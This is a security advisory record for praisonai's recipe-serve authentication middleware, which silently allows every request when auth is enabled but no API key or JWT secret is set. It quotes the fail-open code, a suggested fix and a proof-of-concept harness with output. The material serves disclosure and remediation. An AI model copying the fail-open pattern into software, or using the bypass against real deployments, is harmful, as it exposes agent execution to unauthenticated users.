{"id":"GHSA-j4hj-7hfh-g2f4","title":"praisonai: recipe serve auth middleware silently disables itself when no secret is set","summary":"praisonai: recipe serve auth middleware silently disables itself when no secret is set","severity":"critical","cvss":9.8,"cwe":["CWE-306","CWE-1188"],"vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai <= 4.6.48"],"patched":["praisonai 4.6.59"],"published":"2026-06-18","updated":"2026-06-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-j4hj-7hfh-g2f4","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j4hj-7hfh-g2f4"},{"url":"https://github.com/advisories/GHSA-j4hj-7hfh-g2f4"}],"tags":["ghsa","pip"],"ingestedAt":"2026-06-29T14:31:46.963Z","slug":"GHSA-j4hj-7hfh-g2f4","body":"## Overview\n\n# praisonai: `recipe serve` authentication middleware silently disables itself when no secret is set\n\n**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai` on PyPI\n**Version tested:** 4.6.48.\n**File:** `praisonai/recipe/serve.py` (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n\n---\n\n## TL;DR\n\n`praisonai/recipe/serve.py:312-410` defines two auth middlewares (`APIKeyAuthMiddleware`, `JWTAuthMiddleware`). Both contain the same \"fail open when the secret is unset\" branch at the top of their `dispatch`:\n\n```python\nasync def dispatch(self, request, call_next):\n    if request.url.path == \"/health\":\n        return await call_next(request)\n    expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n    if not expected_key:\n        # No key configured, allow request\n        return await call_next(request)\n    ...\n```\n\n```python\nasync def dispatch(self, request, call_next):\n    if request.url.path == \"/health\":\n        return await call_next(request)\n    secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n    if not secret:\n        return await call_next(request)\n    ...\n```\n\nThe realistic mis-deploy:\n\n1. operator sets `auth: api-key` (or `auth: jwt`) in their recipe YAML, expecting that line alone to enable auth,\n2. operator does not set the corresponding `api_key:` / `jwt_secret:` value in the same YAML, AND\n3. operator does not export `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` in the environment.\n\nThe middleware silently treats every request as authenticated and forwards it to the recipe-execution route.\n\nCombined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to \"I have to set `auth: api-key` to lock this down\" still don't get auth on the recipe-serve surface unless they also remember the secret.\n\n## Root cause\n\n```\n   Expected behavior, after setting `auth: api-key` in the recipe YAML:\n     \"Now my recipe endpoints require an X-API-Key header.\"\n\n   Actual behavior (serve.py:325-333):\n     - middleware reads `expected_key = api_key or\n       os.environ.get(\"PRAISONAI_API_KEY\")`\n     - if `expected_key` is None (neither YAML nor env supplied\n       one), middleware logs nothing and forwards the request.\n     - operator's recipe routes accept the request as if it were\n       authenticated.  request.state.user is unset.\n\n   Impact:\n     The middleware's documented job is \"validate the API key\n     against the configured value\".  The configured-value-is-None\n     case is exactly the case the middleware should fail closed\n     on — operator has signalled they want auth.  Failing open\n     silently turns a documented authentication into a runtime\n     no-op.\n```\n\n## Empirical verification\n\n`poc/poc.py`:\n\n1. Imports the installed praisonai 4.6.48 `praisonai.recipe.serve` module (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n2. Clears `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` env vars to simulate the mis-deploy.\n3. Calls `serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)` and instantiates the returned middleware.\n4. Builds a Starlette `Request` for `/runs` (the recipe-execution path) with empty headers — no `X-API-Key`, no `Authorization`.\n5. `await middleware.dispatch(request, fake_call_next)` returns the sentinel `'REACHED-DOWNSTREAM (path=/runs)'` from the fake `call_next` — proving the middleware passed the request through without authenticating.\n6. Repeats the test for `auth_type='jwt'` — same bypass on the JWT path.\n\nRun log (`poc/run-log.txt`) summary:\n\n```\n[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env\n    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'\n[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env\n    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'\n    APIKeyAuthMiddleware allowed the request through without an API key.\n    JWTAuthMiddleware allowed the request through without a Bearer token.\n[4] grep '# No key configured, allow request' -> line 333\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Impact\n\nThe recipe-serve surface runs agentic workflows — same execution posture as `praisonai/jobs/server.py` but separately configured / separately reached. Unauth access on this surface yields:\n\n- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.\n- Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.\n- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.\n\n\n## Anchors\n\n- `praisonai/recipe/serve.py:325-333` — `APIKeyAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:352-355` — `JWTAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:688-694` — call site:\n  ```python\n  auth_type = config.get(\"auth\")\n  if auth_type and auth_type != \"none\":\n      auth_middleware = create_auth_middleware(\n          auth_type,\n          api_key=config.get(\"api_key\"),\n          jwt_secret=config.get(\"jwt_secret\"),\n      )\n  ```\n\n## Suggested fix\n\nWhen the operator has signalled \"I want auth\", refuse to start without the corresponding secret rather than silently degrading:\n\n```python\ndef create_auth_middleware(auth_type, api_key=None, jwt_secret=None):\n    if auth_type == 'api-key':\n        expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n        if not expected_key:\n            raise SystemExit(\n                \"auth_type='api-key' requested but no API key is \"\n                \"configured.  Either set `api_key:` in your recipe \"\n                \"YAML or export PRAISONAI_API_KEY.  Refusing to \"\n                \"start with a silently disabled auth middleware.\"\n            )\n        ...\n    elif auth_type == 'jwt':\n        secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n        if not secret:\n            raise SystemExit(\n                \"auth_type='jwt' requested but no JWT secret is \"\n                \"configured.  Either set `jwt_secret:` in your recipe \"\n                \"YAML or export PRAISONAI_JWT_SECRET.  Refusing to \"\n                \"start with a silently disabled auth middleware.\"\n            )\n        ...\n```\n\nThis is the same pattern the sibling `praisonai.gateway` server applies in `assert_external_bind_safe` at `praisonai/gateway/auth.py:48-54` — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai 4.6.48 `praisonai recipe serve` configures\nauthentication via a `auth:` field in the recipe YAML.  Setting\n`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or\nJWTAuthMiddleware on the FastAPI app — and the operator's expectation\nis that those endpoints now require a valid API key / Bearer JWT.\n\nIn reality, both middlewares contain an early-return that silently\nbypasses authentication when the corresponding secret has not been\nconfigured (neither via the recipe YAML nor via the\nPRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -> int:\n    print('=' * 72)\n    print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')\n    print('=' * 72)\n\n    # Realistic deploy: operator sets `auth: api-key` in YAML but\n    # forgets to set api_key / env var.\n    for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    from praisonai.recipe import serve as serve_mod\n\n    src = inspect.getsourcefile(serve_mod)\n    with open(src, 'rb') as f:\n        raw = f.read()\n    sha = hashlib.sha256(raw).hexdigest()\n\n    print()\n    print(f'[1] serve.py path : {src}')\n    print(f'    sha256        : {sha}')\n\n    from starlette.requests import Request\n    create_auth_middleware = serve_mod.create_auth_middleware\n\n    async def fake_call_next(request):\n        return f\"REACHED-DOWNSTREAM (path={request.url.path})\"\n\n    async def driver(auth_type: str, headers=None):\n        scope = {\n            'type': 'http', 'method': 'GET', 'path': '/runs',\n            'headers': headers or [], 'query_string': b'', 'scheme': 'http',\n            'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '',\n        }\n        request = Request(scope, receive=lambda: None)\n        mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)\n        if mw_cls is None:\n            return 'middleware-import-failed'\n        instance = mw_cls(app=None)\n        return await instance.dispatch(request, fake_call_next)\n\n    import asyncio\n\n    print()\n    print(\"[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env\")\n    result_apikey = asyncio.run(driver('api-key'))\n    print(f\"    middleware.dispatch -> {result_apikey!r}\")\n\n    print()\n    print(\"[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env\")\n    result_jwt = asyncio.run(driver('jwt'))\n    print(f\"    middleware.dispatch -> {result_jwt!r}\")\n\n    vulnerable = False\n    if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey:\n        vulnerable = True\n        print('    APIKeyAuthMiddleware allowed the request through without an API key.')\n    if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt:\n        vulnerable = True\n        print('    JWTAuthMiddleware allowed the request through without a Bearer token.')\n\n    # Static check that the bypass is on the code path.\n    text = raw.decode('utf-8', errors='replace')\n    needle_api = '# No key configured, allow request'\n    apikey_line = next(\n        (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),\n        None,\n    )\n    print()\n    print('[4] static cross-check — bypass branch on the code path')\n    print(f\"    grep '{needle_api}' -> line {apikey_line}\")\n\n    if not vulnerable:\n        print('UNEXPECTED — the dispatch did not return the bypass result.')\n        return 1\n\n    print()\n    print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')\n    print('            both silently bypass auth when the operator sets auth_type')\n    print('            but forgets the corresponding secret — unauthenticated access')\n    print('            to recipe execution endpoints.')\n    print('VERDICT: VULNERABLE')\n    return 0\n\nif __name__ == '__main__':\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai\"); sys.path.insert(0,BK)\nfor p in [\"praisonai\",\"praisonai.recipe\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nspec=importlib.util.spec_from_file_location(\"praisonai.recipe.serve\", BK+\"/praisonai/recipe/serve.py\")\nserve=importlib.util.module_from_spec(spec); serve.__package__=\"praisonai.recipe\"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)\nprint(\"[*] Loaded REAL praisonai recipe/serve.py\")\nos.environ.pop(\"PRAISONAI_API_KEY\", None)   # operator forgot to export it too\n\nfrom starlette.applications import Starlette\nfrom starlette.routing import Route\nfrom starlette.responses import PlainTextResponse\nfrom starlette.testclient import TestClient\ndef make_app(mw):\n    app=Starlette(routes=[Route(\"/run\", lambda r: PlainTextResponse(\"AGENT EXECUTED\"), methods=[\"POST\"])])\n    app.add_middleware(mw); return TestClient(app)\n\n# (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses\nMW_bypass = serve.create_auth_middleware(\"api-key\", api_key=None)        # REAL factory\nr = make_app(MW_bypass).post(\"/run\")\nprint(f\"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}\")\n\n# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401\nMW_enforced = serve.create_auth_middleware(\"api-key\", api_key=\"real-secret\")\nr2 = make_app(MW_enforced).post(\"/run\")\nprint(f\"[*] auth='api-key', key CONFIGURED, NO header  -> HTTP {r2.status_code} (correctly rejected)\")\n\nassert r.status_code==200 and \"AGENT EXECUTED\" in r.text and r2.status_code==401\nprint(\"[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] Loaded REAL praisonai recipe/serve.py\n[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'\n[*] auth='api-key', key CONFIGURED, NO header  -> HTTP 401 (correctly rejected)\n[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.\n\n## Affected packages\n\n- `praisonai <= 4.6.48`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.6.59`","depth":"midnight","depthScore":54,"depthScoreParts":{"impact":53.9,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}